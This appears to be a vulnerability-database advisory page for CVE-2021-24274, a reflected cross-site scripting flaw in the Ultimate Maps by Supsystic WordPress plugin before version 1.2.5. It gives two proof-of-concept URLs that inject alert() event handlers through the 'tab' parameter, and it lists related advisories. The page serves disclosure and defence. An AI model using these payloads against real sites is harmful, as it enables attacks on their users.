Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline
wpexploit0xB9WPEX-ID:200A3031-7C42-4189-96B1-BED9E0AB7C1D
HistoryApr 19, 2021 - 12:00 a.m.

Ultimate Maps by Supsystic < 1.2.5 - Reflected Cross-Site scripting (XSS)

2021-04-1900:00:00
0xB9
303
JSON

The plugin did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue

/wp-admin/admin.php?page=ultimate-maps-supsystic&tab="onmouseover=alert(1)//

/wp-admin/admin.php?page=ultimate-maps-supsystic&tab="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//

Related

zdt 1
prion 1
packetstorm 1
wpvulndb 1
patchstack 1
cve 1
nuclei 1
exploitdb 1
zdt
zdt
WordPress Ultimate Maps 1.2.4 Plugin - Reflected Cross-Site Scripting Vulnerability
2021-09-28 00:00:00
prion
prion
Cross site scripting
2021-05-05 19:15:00
packetstorm
packetstorm
WordPress Ultimate Maps 1.2.4 Cross Site Scripting
2021-09-28 00:00:00
wpvulndb
wpvulndb
Ultimate Maps by Supsystic < 1.2.5 - Reflected Cross-Site scripting (XSS)
2021-04-19 00:00:00
patchstack
patchstack
WordPress Ultimate Maps by Supsystic plugin <= 1.2.4 - Reflected Cross-Site Scripting (XSS) vulnerability
2021-04-19 00:00:00
cve
cve
CVE-2021-24274
2021-05-05 19:15:00
nuclei
nuclei
WordPress Supsystic Ultimate Maps <1.2.5 - Cross-Site Scripting
2021-09-28 17:11:56
exploitdb
exploitdb
WordPress Plugin Ultimate Maps 1.2.4 - Reflected Cross-Site Scripting (XSS)
2021-09-28 00:00:00
JSON
Related for WPEX-ID:200A3031-7C42-4189-96B1-BED9E0AB7C1D
zdt1prion1packetstorm1wpvulndb1patchstack1cve1nuclei1exploitdb1